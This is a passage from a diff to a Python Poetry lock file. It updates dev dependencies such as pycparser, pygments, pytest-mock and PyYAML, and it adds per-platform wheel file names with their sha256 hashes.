"propcache-0.3.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:62180e0b8dbb6b004baec00a7983e4cc52f5ada9cd11f48c3528d8cfa7b96a66"}, + {file = "propcache-0.3.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c144ca294a204c470f18cf4c9d78887810d04a3e2fbb30eea903575a779159df"}, + {file = "propcache-0.3.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c5c2a784234c28854878d68978265617aa6dc0780e53d44b4d67f3651a17a9a2"}, + {file = "propcache-0.3.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5745bc7acdafa978ca1642891b82c19238eadc78ba2aaa293c6863b304e552d7"}, + {file = "propcache-0.3.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:c0075bf773d66fa8c9d41f66cc132ecc75e5bb9dd7cce3cfd14adc5ca184cb95"}, + {file = "propcache-0.3.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:5f57aa0847730daceff0497f417c9de353c575d8da3579162cc74ac294c5369e"}, + {file = "propcache-0.3.2-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:eef914c014bf72d18efb55619447e0aecd5fb7c2e3fa7441e2e5d6099bddff7e"}, + {file = "propcache-0.3.2-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:2a4092e8549031e82facf3decdbc0883755d5bbcc62d3aea9d9e185549936dcf"}, + {file = "propcache-0.3.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:85871b050f174bc0bfb437efbdb68aaf860611953ed12418e4361bc9c392749e"}, + {file = "propcache-0.3.2-cp311-cp311-win32.whl", hash = "sha256:36c8d9b673ec57900c3554264e630d45980fd302458e4ac801802a7fd2ef7897"}, + {file = "propcache-0.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:e53af8cb6a781b02d2ea079b5b853ba9430fcbe18a8e3ce647d5982a3ff69f39"}, + {file = "propcache-0.3.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:8de106b6c84506b31c27168582cd3cb3000a6412c16df14a8628e5871ff83c10"}, + {file = "propcache-0.3.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:28710b0d3975117239c76600ea351934ac7b5ff56e60953474342608dbbb6154"}, + {file = "propcache-0.3.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ce26862344bdf836650ed2487c3d724b00fbfec4233a1013f597b78c1cb73615"}, + {file = "propcache-0.3.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bca54bd347a253af2cf4544bbec232ab982f4868de0dd684246b67a51bc6b1db"}, + {file = "propcache-0.3.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:55780d5e9a2ddc59711d727226bb1ba83a22dd32f64ee15594b9392b1f544eb1"}, + {file = "propcache-0.3.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:035e631be25d6975ed87ab23153db6a73426a48db688070d925aa27e996fe93c"}, + {file = "propcache-0.3.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ee6f22b6eaa39297c751d0e80c0d3a454f112f5c6481214fcf4c092074cecd67"}, + {file = "propcache-0.3.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7ca3aee1aa955438c4dba34fc20a9f390e4c79967257d830f137bd5a8a32ed3b"}, + {file = "propcache-0.3.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:7a4f30862869fa2b68380d677cc1c5fcf1e0f2b9ea0cf665812895c75d0ca3b8"}, + {file = "propcache-0.3.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:b77ec3c257d7816d9f3700013639db7491a434644c906a2578a11daf13176251"}, + {file = "propcache-0.3.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:cab90ac9d3f14b2d5050928483d3d3b8fb6b4018893fc75710e6aa361ecb2474"}, + {file = "propcache-0.3.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:0b504d29f3c47cf6b9e936c1852246c83d450e8e063d50562115a6be6d3a2535"}, + {file = "propcache-0.3.2-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:ce2ac2675a6aa41ddb2a0c9cbff53780a617ac3d43e620f8fd77ba1c84dcfc06"}, + {file = "propcache-0.3.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:62b4239611205294cc433845b914131b2a1f03500ff3c1ed093ed216b82621e1"}, + {file = "propcache-0.3.2-cp312-cp312-win32.whl", hash = "sha256:df4a81b9b53449ebc90cc4deefb052c1dd934ba85012aa912c7ea7b7e38b60c1"}, + {file = "propcache-0.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:7046e79b989d7fe457bb755844019e10f693752d169076138abf17f31380800c"}, + {file = "propcache-0.3.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ca592ed634a73ca002967458187109265e980422116c0a107cf93d81f95af945"}, + {file = "propcache-0.3.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:9ecb0aad4020e275652ba3975740f241bd12a61f1a784df044cf7477a02bc252"}, + {file = "propcache-0.3.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7f08f1cc28bd2eade7a8a3d2954ccc673bb02062e3e7da09bc75d843386b342f"}, + {file = "propcache-0.3.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d1a342c834734edb4be5ecb1e9fb48cb64b1e2320fccbd8c54bf8da8f2a84c33"}, + {file = "propcache-0.3.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8a544caaae1ac73f1fecfae70ded3e93728831affebd017d53449e3ac052ac1e"}, + {file = "propcache-0.3.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:310d11aa44635298397db47a3ebce7db99a4cc4b9bbdfcf6c98a60c8d5261cf1"}, + {file = "propcache-0.3.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4c1396592321ac83157ac03a2023aa6cc4a3cc3cfdecb71090054c09e5a7cce3"}, + {file = "propcache-0.3.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8cabf5b5902272565e78197edb682017d21cf3b550ba0460ee473753f28d23c1"}, + {file = "propcache-0.3.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0a2f2235ac46a7aa25bdeb03a9e7060f6ecbd213b1f9101c43b3090ffb971ef6"}, + {file = "propcache-0.3.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:92b69e12e34869a6970fd2f3da91669899994b47c98f5d430b781c26f1d9f387"}, + {file = "propcache-0.3.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:54e02207c79968ebbdffc169591009f4474dde3b4679e16634d34c9363ff56b4"}, + {file = "propcache-0.3.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:4adfb44cb588001f68c5466579d3f1157ca07f7504fc91ec87862e2b8e556b88"}, + {file = "propcache-0.3.2-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:fd3e6019dc1261cd0291ee8919dd91fbab7b169bb76aeef6c716833a3f65d206"}, + {file = "propcache-0.3.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4c181cad81158d71c41a2bce88edce078458e2dd5ffee7eddd6b05da85079f43"}, + {file = "propcache-0.3.2-cp313-cp313-win32.whl", hash = "sha256:8a08154613f2249519e549de2330cf8e2071c2887309a7b07fb56098f5170a02"}, + {file = "propcache-0.3.2-cp313-cp313-win_amd64.whl", hash = "sha256:e41671f1594fc4ab0a6dec1351864713cb3a279910ae8b58f884a88a0a632c05"}, + {file = "propcache-0.3.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:9a3cf035bbaf035f109987d9d55dc90e4b0e36e04bbbb95af3055ef17194057b"}, + {file = "propcache-0.3.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:156c03d07dc1323d8dacaa221fbe028c5c70d16709cdd63502778e6c3ccca1b0"}, + {file = "propcache-0.3.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:74413c0ba02ba86f55cf60d18daab219f7e531620c15f1e23d95563f505efe7e"}, + {file = "propcache-0.3.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f066b437bb3fa39c58ff97ab2ca351db465157d68ed0440abecb21715eb24b28"}, + {file = "propcache-0.3.2-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f1304b085c83067914721e7e9d9917d41ad87696bf70f0bc7dee450e9c71ad0a"}, + {file = "propcache-0.3.2-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ab50cef01b372763a13333b4e54021bdcb291fc9a8e2ccb9c2df98be51bcde6c"}, + {file = "propcache-0.3.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fad3b2a085ec259ad2c2842666b2a0a49dea8463579c606426128925af1ed725"}, + {file = "propcache-0.3.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:261fa020c1c14deafd54c76b014956e2f86991af198c51139faf41c4d5e83892"}, + {file = "propcache-0.3.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:46d7f8aa79c927e5f987ee3a80205c987717d3659f035c85cf0c3680526bdb44"}, + {file = "propcache-0.3.2-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:6d8f3f0eebf73e3c0ff0e7853f68be638b4043c65a70517bb575eff54edd8dbe"}, + {file = "propcache-0.3.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:03c89c1b14a5452cf15403e291c0ccd7751d5b9736ecb2c5bab977ad6c5bcd81"}, + {file = "propcache-0.3.2-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:0cc17efde71e12bbaad086d679ce575268d70bc123a5a71ea7ad76f70ba30bba"}, + {file = "propcache-0.3.2-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:acdf05d00696bc0447e278bb53cb04ca72354e562cf88ea6f9107df8e7fd9770"}, + {file = "propcache-0.3.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:4445542398bd0b5d32df908031cb1b30d43ac848e20470a878b770ec2dcc6330"}, + {file = "propcache-0.3.2-cp313-cp313t-win32.whl", hash = "sha256:f86e5d7cd03afb3a1db8e9f9f6eff15794e79e791350ac48a8c924e6f439f394"}, + {file = "propcache-0.3.2-cp313-cp313t-win_amd64.whl", hash = "sha256:9704bedf6e7cbe3c65eca4379a9b53ee6a83749f047808cbb5044d40d7d72198"}, + {file = "propcache-0.3.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:a7fad897f14d92086d6b03fdd2eb844777b0c4d7ec5e3bac0fbae2ab0602bbe5"}, + {file = "propcache-0.3.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1f43837d4ca000243fd7fd6301947d7cb93360d03cd08369969450cc6b2ce3b4"}, + {file = "propcache-0.3.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:261df2e9474a5949c46e962065d88eb9b96ce0f2bd30e9d3136bcde84befd8f2"}, + {file = "propcache-0.3.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e514326b79e51f0a177daab1052bc164d9d9e54133797a3a58d24c9c87a3fe6d"}, + {file = "propcache-0.3.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d4a996adb6904f85894570301939afeee65f072b4fd265ed7e569e8d9058e4ec"}, + {file = "propcache-0.3.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:76cace5d6b2a54e55b137669b30f31aa15977eeed390c7cbfb1dafa8dfe9a701"}, + {file = "propcache-0.3.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:31248e44b81d59d6addbb182c4720f90b44e1efdc19f58112a3c3a1615fb47ef"}, + {file = "propcache-0.3.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:abb7fa19dbf88d3857363e0493b999b8011eea856b846305d8c0512dfdf8fbb1"}, + {file = "propcache-0.3.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:d81ac3ae39d38588ad0549e321e6f773a4e7cc68e7751524a22885d5bbadf886"}, + {file = "propcache-0.3.2-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:cc2782eb0f7a16462285b6f8394bbbd0e1ee5f928034e941ffc444012224171b"}, + {file = "propcache-0.3.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:db429c19a6c7e8a1c320e6a13c99799450f411b02251fb1b75e6217cf4a14fcb"}, + {file = "propcache-0.3.2-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:21d8759141a9e00a681d35a1f160892a36fb6caa715ba0b832f7747da48fb6ea"}, + {file = "propcache-0.3.2-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:2ca6d378f09adb13837614ad2754fa8afaee330254f404299611bce41a8438cb"}, + {file = "propcache-0.3.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:34a624af06c048946709f4278b4176470073deda88d91342665d95f7c6270fbe"}, + {file = "propcache-0.3.2-cp39-cp39-win32.whl", hash = "sha256:4ba3fef1c30f306b1c274ce0b8baaa2c3cdd91f645c48f06394068f37d3837a1"}, + {file = "propcache-0.3.2-cp39-cp39-win_amd64.whl", hash = "sha256:7a2368eed65fc69a7a7a40b27f22e85e7627b74216f0846b04ba5c116e191ec9"}, + {file = "propcache-0.3.2-py3-none-any.whl", hash = "sha256:98f1ec44fb675f5052cccc8e609c46ed23a35a1cfd18545ad4e29002d858a43f"}, + {file = "propcache-0.3.2.tar.gz", hash = "sha256:20d7d62e4e7ef05f221e0db2856b979540686342e7dd9973b815599c7057e168"}, +] [[package]] name = "pycparser" -version = "2.21" +version = "2.23" description = "C parser in Python" -category = "dev" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +python-versions = ">=3.8" +groups = ["dev"] +markers = "platform_python_implementation != \"PyPy\" and sys_platform == \"linux\" and implementation_name != \"PyPy\"" +files = [ + {file = "pycparser-2.23-py3-none-any.whl", hash = "sha256:e5c6e8d3fbad53479cab09ac03729e0a9faf2bee3db8208a550daf5af81a5934"}, + {file = "pycparser-2.23.tar.gz", hash = "sha256:78816d4f24add8f10a06d6f05b4d424ad9e96cfebf68a4ddc99c65c0720d00c2"}, +] [[package]] name = "pygments" -version = "2.17.2" +version = "2.19.2" description = "Pygments is a syntax highlighting package written in Python." -category = "dev" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "pygments-2.19.2-py3-none-any.whl", hash = "sha256:86540386c03d588bb81d44bc3928634ff26449851e99741617ecb9037ee5ec0b"}, + {file = "pygments-2.19.2.tar.gz", hash = "sha256:636cb2477cec7f8952536970bc533bc43743542f70392ae026374600add5b887"}, +] [package.extras] -plugins = ["importlib-metadata"] windows-terminal = ["colorama (>=0.4.6)"] [[package]] name = "pytest" version = "7.4.4" description = "pytest: simple powerful testing with Python" -category = "dev" optional = false python-versions = ">=3.7" +groups = ["dev"] +files = [ + {file = "pytest-7.4.4-py3-none-any.whl", hash = "sha256:b090cdf5ed60bf4c45261be03239c2c1c22df034fbffe691abe93cd80cea01d8"}, + {file = "pytest-7.4.4.tar.gz", hash = "sha256:2cf0005922c6ace4a3e2ec8b4080eb0d9753fdc93107415332f50ce9e7994280"}, +] [package.dependencies] colorama = {version = "*", markers = "sys_platform == \"win32\""} exceptiongroup = {version = ">=1.0.0rc8", markers = "python_version < \"3.11\""} -importlib-metadata = {version = ">=0.12", markers = "python_version < \"3.8\""} iniconfig = "*" packaging = "*" pluggy = ">=0.12,<2.0" @@ -406,14 +1112,18 @@ testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "no [[package]] name = "pytest-mock" -version = "3.11.1" +version = "3.15.1" description = "Thin-wrapper around the mock package for easier use with pytest" -category = "dev" optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "pytest_mock-3.15.1-py3-none-any.whl", hash = "sha256:0a25e2eb88fe5168d535041d09a4529a188176ae608a6d249ee65abc0949630d"}, + {file = "pytest_mock-3.15.1.tar.gz", hash = "sha256:1849a238f6f396da19762269de72cb1814ab44416fa73a8686deac10b0d87a0f"}, +] [package.dependencies] -pytest = ">=5.0" +pytest = ">=6.2.5" [package.extras] dev = ["pre-commit", "pytest-asyncio", "tox"] @@ -422,9 +1132,13 @@ dev = ["pre-commit", "pytest-asyncio", "tox"] name = "python-dotenv" version = "0.21.1" description = "Read key-value pairs from a .env file and set them as environment variables" -category = "dev" optional = false python-versions = ">=3.7" +groups = ["dev"] +files = [ + {file = "python-dotenv-0.21.1.tar.gz", hash = "sha256:1c93de8f636cde3ce377292818d0e440b6e45a82f215c3744979151fa8151c49"}, + {file = "python_dotenv-0.21.1-py3-none-any.whl", hash = "sha256:41e12e0318bebc859fcc4d97d4db8d20ad21721a6aa5047dd59f090391cb549a"}, +] [package.extras] cli = ["click (>=5.0)"] @@ -433,14 +1147,17 @@ cli = ["click (>=5.0)"] name = "python-gitlab" version = "3.15.0" description = "Interact with GitLab API" -category = "dev" optional = false python-versions = ">=3.7.0" +groups = ["dev"] +files = [ + {file = "python-gitlab-3.15.0.tar.gz", hash = "sha256:c9e65eb7612a9fbb8abf0339972eca7fd7a73d4da66c9b446ffe528930aff534"}, + {file = "python_gitlab-3.15.0-py3-none-any.whl", hash = "sha256:8f8d1c0d387f642eb1ac7bf5e8e0cd8b3dd49c6f34170cee3c7deb7d384611f3"}, +] [package.dependencies] requests = ">=2.25.0" requests-toolbelt = ">=0.10.1" -typing-extensions = {version = ">=4.0.0", markers = "python_version < \"3.8\""} [package.extras] autocompletion = ["argcomplete (>=1.10.0,<3)"] @@ -450,9 +1167,13 @@ yaml = ["PyYaml (>=5.2)"] name = "python-semantic-release" version = "7.34.6" description = "Automatic Semantic Versioning for Python projects" -category = "dev" optional = false python-versions = "*" +groups = ["dev"] +files = [ + {file = "python-semantic-release-7.34.6.tar.gz", hash = "sha256:e9b8fb788024ae9510a924136d573588415a16eeca31cc5240f2754a80a2e831"}, + {file = "python_semantic_release-7.34.6-py3-none-any.whl", hash = "sha256:7e3969ba4663d9b2087b02bf3ac140e202551377bf045c34e09bfe19753e19ab"}, +] [package.dependencies] click = ">=7,<9" @@ -474,33 +1195,112 @@ docs = ["Jinja2 (==3.0.3)", "Sphinx (==1.8.6)"] mypy = ["mypy", "types-requests"] test = ["coverage (>=5,<6)", "mock (==1.3.0)", "pytest (>=7,<8)", "pytest-mock (>=2,<3)", "pytest-xdist (>=1,<2)", "responses (==0.13.3)"] +[[package]] +name = "pytokens" +version = "0.1.10" +description = "A Fast, spec compliant Python 3.12+ tokenizer that runs on older Pythons." +optional = false +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "pytokens-0.1.10-py3-none-any.whl", hash = "sha256:db7b72284e480e69fb085d9f251f66b3d2df8b7166059261258ff35f50fb711b"}, + {file = "pytokens-0.1.10.tar.gz", hash = "sha256:c9a4bfa0be1d26aebce03e6884ba454e842f186a59ea43a6d3b25af58223c044"}, +] + +[package.extras] +dev = ["black", "build", "mypy", "pytest", "pytest-cov", "setuptools", "tox", "twine", "wheel"] + [[package]] name = "pywin32-ctypes" -version = "0.2.2" +version = "0.2.3" description = "A (partial) reimplementation of pywin32 using ctypes/cffi" -category = "dev" optional = false python-versions = ">=3.6" +groups = ["dev"] +markers = "sys_platform == \"win32\"" +files = [ + {file = "pywin32-ctypes-0.2.3.tar.gz", hash = "sha256:d162dc04946d704503b2edc4d55f3dba5c1d539ead017afa00142c38b9885755"}, + {file = "pywin32_ctypes-0.2.3-py3-none-any.whl", hash = "sha256:8a1513379d709975552d202d942d9837758905c8d01eb82b8bcc30918929e7b8"}, +] [[package]] name = "pyyaml" -version = "6.0.1" +version = "6.0.2" description = "YAML parser and emitter for Python" -category = "dev" optional = false -python-versions = ">=3.6" +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "PyYAML-6.0.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0a9a2848a5b7feac301353437eb7d5957887edbf81d56e903999a75a3d743086"}, + {file = "PyYAML-6.0.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:29717114e51c84ddfba879543fb232a6ed60086602313ca38cce623c1d62cfbf"}, + {file = "PyYAML-6.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8824b5a04a04a047e72eea5cec3bc266db09e35de6bdfe34c9436ac5ee27d237"}, + {file = "PyYAML-6.0.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7c36280e6fb8385e520936c3cb3b8042851904eba0e58d277dca80a5cfed590b"}, + {file = "PyYAML-6.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ec031d5d2feb36d1d1a24380e4db6d43695f3748343d99434e6f5f9156aaa2ed"}, + {file = "PyYAML-6.0.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:936d68689298c36b53b29f23c6dbb74de12b4ac12ca6cfe0e047bedceea56180"}, + {file = "PyYAML-6.0.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:23502f431948090f597378482b4812b0caae32c22213aecf3b55325e049a6c68"}, + {file = "PyYAML-6.0.2-cp310-cp310-win32.whl", hash = "sha256:2e99c6826ffa974fe6e27cdb5ed0021786b03fc98e5ee3c5bfe1fd5015f42b99"}, + {file = "PyYAML-6.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:a4d3091415f010369ae4ed1fc6b79def9416358877534caf6a0fdd2146c87a3e"}, + {file = "PyYAML-6.0.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:cc1c1159b3d456576af7a3e4d1ba7e6924cb39de8f67111c735f6fc832082774"}, + {file = "PyYAML-6.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1e2120ef853f59c7419231f3bf4e7021f1b936f6ebd222406c3b60212205d2ee"}, + {file = "PyYAML-6.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5d225db5a45f21e78dd9358e58a98702a0302f2659a3c6cd320564b75b86f47c"}, + {file = "PyYAML-6.0.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5ac9328ec4831237bec75defaf839f7d4564be1e6b25ac710bd1a96321cc8317"}, + {file = "PyYAML-6.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3ad2a3decf9aaba3d29c8f537ac4b243e36bef957511b4766cb0057d32b0be85"}, + {file = "PyYAML-6.0.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:ff3824dc5261f50c9b0dfb3be22b4567a6f938ccce4587b38952d85fd9e9afe4"}, + {file = "PyYAML-6.0.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:797b4f722ffa07cc8d62053e4cff1486fa6dc094105d13fea7b1de7d8bf71c9e"}, + {file = "PyYAML-6.0.2-cp311-cp311-win32.whl", hash = "sha256:11d8f3dd2b9c1207dcaf2ee0bbbfd5991f571186ec9cc78427ba5bd32afae4b5"}, + {file = "PyYAML-6.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:e10ce637b18caea04431ce14fabcf5c64a1c61ec9c56b071a4b7ca131ca52d44"}, + {file = "PyYAML-6.0.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:c70c95198c015b85feafc136515252a261a84561b7b1d51e3384e0655ddf25ab"}, + {file = "PyYAML-6.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ce826d6ef20b1bc864f0a68340c8b3287705cae2f8b4b1d932177dcc76721725"}, + {file = "PyYAML-6.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1f71ea527786de97d1a0cc0eacd1defc0985dcf6b3f17bb77dcfc8c34bec4dc5"}, + {file = "PyYAML-6.0.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9b22676e8097e9e22e36d6b7bda33190d0d400f345f23d4065d48f4ca7ae0425"}, + {file = "PyYAML-6.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:80bab7bfc629882493af4aa31a4cfa43a4c57c83813253626916b8c7ada83476"}, + {file = "PyYAML-6.0.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:0833f8694549e586547b576dcfaba4a6b55b9e96098b36cdc7ebefe667dfed48"}, + {file = "PyYAML-6.0.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:8b9c7197f7cb2738065c481a0461e50ad02f18c78cd75775628afb4d7137fb3b"}, + {file = "PyYAML-6.0.2-cp312-cp312-win32.whl", hash = "sha256:ef6107725bd54b262d6dedcc2af448a266975032bc85ef0172c5f059da6325b4"}, + {file = "PyYAML-6.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:7e7401d0de89a9a855c839bc697c079a4af81cf878373abd7dc625847d25cbd8"}, + {file = "PyYAML-6.0.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:efdca5630322a10774e8e98e1af481aad470dd62c3170801852d752aa7a783ba"}, + {file = "PyYAML-6.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:50187695423ffe49e2deacb8cd10510bc361faac997de9efef88badc3bb9e2d1"}, + {file = "PyYAML-6.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0ffe8360bab4910ef1b9e87fb812d8bc0a308b0d0eef8c8f44e0254ab3b07133"}, + {file = "PyYAML-6.0.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:17e311b6c678207928d649faa7cb0d7b4c26a0ba73d41e99c4fff6b6c3276484"}, + {file = "PyYAML-6.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:70b189594dbe54f75ab3a1acec5f1e3faa7e8cf2f1e08d9b561cb41b845f69d5"}, + {file = "PyYAML-6.0.2-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:41e4e3953a79407c794916fa277a82531dd93aad34e29c2a514c2c0c5fe971cc"}, + {file = "PyYAML-6.0.2-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:68ccc6023a3400877818152ad9a1033e3db8625d899c72eacb5a668902e4d652"}, + {file = "PyYAML-6.0.2-cp313-cp313-win32.whl", hash = "sha256:bc2fa7c6b47d6bc618dd7fb02ef6fdedb1090ec036abab80d4681424b84c1183"}, + {file = "PyYAML-6.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:8388ee1976c416731879ac16da0aff3f63b286ffdd57cdeb95f3f2e085687563"}, + {file = "PyYAML-6.0.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:24471b829b3bf607e04e88d79542a9d48bb037c2267d7927a874e6c205ca7e9a"}, + {file = "PyYAML-6.0.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d7fded462629cfa4b685c5416b949ebad6cec74af5e2d42905d41e257e0869f5"}, + {file = "PyYAML-6.0.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d84a1718ee396f54f3a086ea0a66d8e552b2ab2017ef8b420e92edbc841c352d"}, + {file = "PyYAML-6.0.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9056c1ecd25795207ad294bcf39f2db3d845767be0ea6e6a34d856f006006083"}, + {file = "PyYAML-6.0.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:82d09873e40955485746739bcb8b4586983670466c23382c19cffecbf1fd8706"}, + {file = "PyYAML-6.0.2-cp38-cp38-win32.whl", hash = "sha256:43fa96a3ca0d6b1812e01ced1044a003533c47f6ee8aca31724f78e93ccc089a"}, + {file = "PyYAML-6.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:01179a4a8559ab5de078078f37e5c1a30d76bb88519906844fd7bdea1b7729ff"}, + {file = "PyYAML-6.0.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:688ba32a1cffef67fd2e9398a2efebaea461578b0923624778664cc1c914db5d"}, + {file = "PyYAML-6.0.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a8786accb172bd8afb8be14490a16625cbc387036876ab6ba70912730faf8e1f"}, + {file = "PyYAML-6.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8e03406cac8513435335dbab54c0d385e4a49e4945d2909a581c83647ca0290"}, + {file = "PyYAML-6.0.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = 